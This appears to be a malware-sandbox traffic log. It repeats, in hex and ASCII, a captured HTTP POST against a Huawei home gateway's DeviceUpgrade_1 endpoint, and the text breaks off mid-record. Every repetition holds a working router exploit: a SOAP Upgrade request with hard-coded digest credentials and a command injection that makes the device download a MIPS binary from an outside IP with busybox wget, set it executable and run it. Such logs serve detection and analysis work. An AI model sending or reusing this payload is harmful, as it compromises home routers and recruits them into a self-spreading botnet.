64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 